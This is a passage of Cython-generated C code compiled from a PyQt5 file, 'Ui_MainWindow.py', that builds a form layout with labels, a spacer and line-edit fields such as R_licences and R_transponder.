__pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_FieldRole); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 310, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_licences); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 310, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_2 = NULL; __pyx_t_8 = 0; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_7))) { __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_7); if (likely(__pyx_t_2)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_7); __Pyx_INCREF(__pyx_t_2); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_7, function); __pyx_t_8 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_7)) { PyObject *__pyx_temp[4] = {__pyx_t_2, __pyx_int_23, __pyx_t_4, __pyx_t_6}; __pyx_t_3 = __Pyx_PyFunction_FastCall(__pyx_t_7, __pyx_temp+1-__pyx_t_8, 3+__pyx_t_8); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 310, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_7)) { PyObject *__pyx_temp[4] = {__pyx_t_2, __pyx_int_23, __pyx_t_4, __pyx_t_6}; __pyx_t_3 = __Pyx_PyCFunction_FastCall(__pyx_t_7, __pyx_temp+1-__pyx_t_8, 3+__pyx_t_8); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 310, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif { __pyx_t_1 = PyTuple_New(3+__pyx_t_8); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 310, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); if (__pyx_t_2) { __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_t_2); __pyx_t_2 = NULL; } __Pyx_INCREF(__pyx_int_23); __Pyx_GIVEREF(__pyx_int_23); PyTuple_SET_ITEM(__pyx_t_1, 0+__pyx_t_8, __pyx_int_23); __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_1, 1+__pyx_t_8, __pyx_t_4); __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_1, 2+__pyx_t_8, __pyx_t_6); __pyx_t_4 = 0; __pyx_t_6 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_t_1, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 310, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":311 * self.R_licences.setObjectName("R_licences") * self.formLayout.setWidget(23, QtWidgets.QFormLayout.FieldRole, self.R_licences) * spacerItem = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum) # <<<<<<<<<<<<<< * self.formLayout.setItem(25, QtWidgets.QFormLayout.SpanningRole, spacerItem) * self.label_7 = QtWidgets.QLabel(self.formLayoutWidget) */ __pyx_t_7 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 311, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_QSpacerItem); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 311, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 311, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_QSizePolicy); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 311, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_Expanding); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 311, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 311, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_QSizePolicy); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 311, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_Minimum); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 311, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = NULL; __pyx_t_8 = 0; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_1))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_1); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_1, function); __pyx_t_8 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[5] = {__pyx_t_4, __pyx_int_40, __pyx_int_20, __pyx_t_7, __pyx_t_6}; __pyx_t_3 = __Pyx_PyFunction_FastCall(__pyx_t_1, __pyx_temp+1-__pyx_t_8, 4+__pyx_t_8); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 311, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[5] = {__pyx_t_4, __pyx_int_40, __pyx_int_20, __pyx_t_7, __pyx_t_6}; __pyx_t_3 = __Pyx_PyCFunction_FastCall(__pyx_t_1, __pyx_temp+1-__pyx_t_8, 4+__pyx_t_8); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 311, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif { __pyx_t_2 = PyTuple_New(4+__pyx_t_8); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 311, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); if (__pyx_t_4) { __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_t_4); __pyx_t_4 = NULL; } __Pyx_INCREF(__pyx_int_40); __Pyx_GIVEREF(__pyx_int_40); PyTuple_SET_ITEM(__pyx_t_2, 0+__pyx_t_8, __pyx_int_40); __Pyx_INCREF(__pyx_int_20); __Pyx_GIVEREF(__pyx_int_20); PyTuple_SET_ITEM(__pyx_t_2, 1+__pyx_t_8, __pyx_int_20); __Pyx_GIVEREF(__pyx_t_7); PyTuple_SET_ITEM(__pyx_t_2, 2+__pyx_t_8, __pyx_t_7); __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_2, 3+__pyx_t_8, __pyx_t_6); __pyx_t_7 = 0; __pyx_t_6 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_t_2, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 311, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_v_spacerItem = __pyx_t_3; __pyx_t_3 = 0; /* "Ui_MainWindow.py":312 * self.formLayout.setWidget(23, QtWidgets.QFormLayout.FieldRole, self.R_licences) * spacerItem = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum) * self.formLayout.setItem(25, QtWidgets.QFormLayout.SpanningRole, spacerItem) # <<<<<<<<<<<<<< * self.label_7 = QtWidgets.QLabel(self.formLayoutWidget) * self.label_7.setObjectName("label_7") */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_formLayout); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 312, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_setItem); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 312, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 312, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_QFormLayout); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 312, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_SpanningRole); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 312, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = NULL; __pyx_t_8 = 0; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_2))) { __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_6)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_6); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); __pyx_t_8 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[4] = {__pyx_t_6, __pyx_int_25, __pyx_t_1, __pyx_v_spacerItem}; __pyx_t_3 = __Pyx_PyFunction_FastCall(__pyx_t_2, __pyx_temp+1-__pyx_t_8, 3+__pyx_t_8); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 312, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[4] = {__pyx_t_6, __pyx_int_25, __pyx_t_1, __pyx_v_spacerItem}; __pyx_t_3 = __Pyx_PyCFunction_FastCall(__pyx_t_2, __pyx_temp+1-__pyx_t_8, 3+__pyx_t_8); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 312, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else #endif { __pyx_t_7 = PyTuple_New(3+__pyx_t_8); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 312, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); if (__pyx_t_6) { __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_7, 0, __pyx_t_6); __pyx_t_6 = NULL; } __Pyx_INCREF(__pyx_int_25); __Pyx_GIVEREF(__pyx_int_25); PyTuple_SET_ITEM(__pyx_t_7, 0+__pyx_t_8, __pyx_int_25); __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_7, 1+__pyx_t_8, __pyx_t_1); __Pyx_INCREF(__pyx_v_spacerItem); __Pyx_GIVEREF(__pyx_v_spacerItem); PyTuple_SET_ITEM(__pyx_t_7, 2+__pyx_t_8, __pyx_v_spacerItem); __pyx_t_1 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_t_7, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 312, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":313 * spacerItem = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum) * self.formLayout.setItem(25, QtWidgets.QFormLayout.SpanningRole, spacerItem) * self.label_7 = QtWidgets.QLabel(self.formLayoutWidget) # <<<<<<<<<<<<<< * self.label_7.setObjectName("label_7") * self.formLayout.setWidget(27, QtWidgets.QFormLayout.LabelRole, self.label_7) */ __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 313, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_QLabel); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 313, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_formLayoutWidget); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 313, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_1 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_7))) { __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_7); if (likely(__pyx_t_1)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_7); __Pyx_INCREF(__pyx_t_1); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_7, function); } } if (!__pyx_t_1) { __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_7, __pyx_t_2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 313, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_3); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_7)) { PyObject *__pyx_temp[2] = {__pyx_t_1, __pyx_t_2}; __pyx_t_3 = __Pyx_PyFunction_FastCall(__pyx_t_7, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 313, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_7)) { PyObject *__pyx_temp[2] = {__pyx_t_1, __pyx_t_2}; __pyx_t_3 = __Pyx_PyCFunction_FastCall(__pyx_t_7, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 313, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif { __pyx_t_6 = PyTuple_New(1+1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 313, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_6, 0, __pyx_t_1); __pyx_t_1 = NULL; __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_6, 0+1, __pyx_t_2); __pyx_t_2 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_t_6, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 313, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } } __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_label_7, __pyx_t_3) < 0) __PYX_ERR(0, 313, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":314 * self.formLayout.setItem(25, QtWidgets.QFormLayout.SpanningRole, spacerItem) * self.label_7 = QtWidgets.QLabel(self.formLayoutWidget) * self.label_7.setObjectName("label_7") # <<<<<<<<<<<<<< * self.formLayout.setWidget(27, QtWidgets.QFormLayout.LabelRole, self.label_7) * self.R_transponder = QtWidgets.QLineEdit(self.formLayoutWidget) */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_label_7); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 314, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setObjectName); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 314, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_tuple__186, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 314, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":315 * self.label_7 = QtWidgets.QLabel(self.formLayoutWidget) * self.label_7.setObjectName("label_7") * self.formLayout.setWidget(27, QtWidgets.QFormLayout.LabelRole, self.label_7) # <<<<<<<<<<<<<< * self.R_transponder = QtWidgets.QLineEdit(self.formLayoutWidget) * self.R_transponder.setToolTip("") */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_formLayout); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 315, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setWidget); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 315, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 315, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_QFormLayout); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 315, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_LabelRole); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 315, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_label_7); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 315, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_1 = NULL; __pyx_t_8 = 0; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_6))) { __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_6); if (likely(__pyx_t_1)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); __Pyx_INCREF(__pyx_t_1); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_6, function); __pyx_t_8 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[4] = {__pyx_t_1, __pyx_int_27, __pyx_t_7, __pyx_t_2}; __pyx_t_3 = __Pyx_PyFunction_FastCall(__pyx_t_6, __pyx_temp+1-__pyx_t_8, 3+__pyx_t_8); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 315, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[4] = {__pyx_t_1, __pyx_int_27, __pyx_t_7, __pyx_t_2}; __pyx_t_3 = __Pyx_PyCFunction_FastCall(__pyx_t_6, __pyx_temp+1-__pyx_t_8, 3+__pyx_t_8); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 315, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif { __pyx_t_4 = PyTuple_New(3+__pyx_t_8); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 315, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); if (__pyx_t_1) { __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_1); __pyx_t_1 = NULL; } __Pyx_INCREF(__pyx_int_27); __Pyx_GIVEREF(__pyx_int_27); PyTuple_SET_ITEM(__pyx_t_4, 0+__pyx_t_8, __pyx_int_27); __Pyx_GIVEREF(__pyx_t_7); PyTuple_SET_ITEM(__pyx_t_4, 1+__pyx_t_8, __pyx_t_7); __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_4, 2+__pyx_t_8, __pyx_t_2); __pyx_t_7 = 0; __pyx_t_2 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_t_4, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 315, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":316 * self.label_7.setObjectName("label_7") * self.formLayout.setWidget(27, QtWidgets.QFormLayout.LabelRole, self.label_7) * self.R_transponder = QtWidgets.QLineEdit(self.formLayoutWidget) # <<<<<<<<<<<<<< * self.R_transponder.setToolTip("") * self.R_transponder.setStatusTip("") */ __pyx_t_6 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 316, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_QLineEdit); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 316, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_formLayoutWidget); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 316, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_2 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_4))) { __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_2)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_2); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); } } if (!__pyx_t_2) { __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_6); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 316, __pyx_L1_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_3); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_2, __pyx_t_6}; __pyx_t_3 = __Pyx_PyFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 316, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_2, __pyx_t_6}; __pyx_t_3 = __Pyx_PyCFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 316, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif { __pyx_t_7 = PyTuple_New(1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 316, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_7, 0, __pyx_t_2); __pyx_t_2 = NULL; __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_7, 0+1, __pyx_t_6); __pyx_t_6 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_t_7, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 316, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } } __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_R_transponder, __pyx_t_3) < 0) __PYX_ERR(0, 316, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":317 * self.formLayout.setWidget(27, QtWidgets.QFormLayout.LabelRole, self.label_7) * self.R_transponder = QtWidgets.QLineEdit(self.formLayoutWidget) * self.R_transponder.setToolTip("") # <<<<<<<<<<<<<< * self.R_transponder.setStatusTip("") * self.R_transponder.setAccessibleName("") */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_transponder); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 317, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setToolTip); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 317, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__187, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 317, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":318 * self.R_transponder = QtWidgets.QLineEdit(self.formLayoutWidget) * self.R_transponder.setToolTip("") * self.R_transponder.setStatusTip("") # <<<<<<<<<<<<<< * self.R_transponder.setAccessibleName("") * self.R_transponder.setAccessibleDescription("") */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_transponder); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 318, 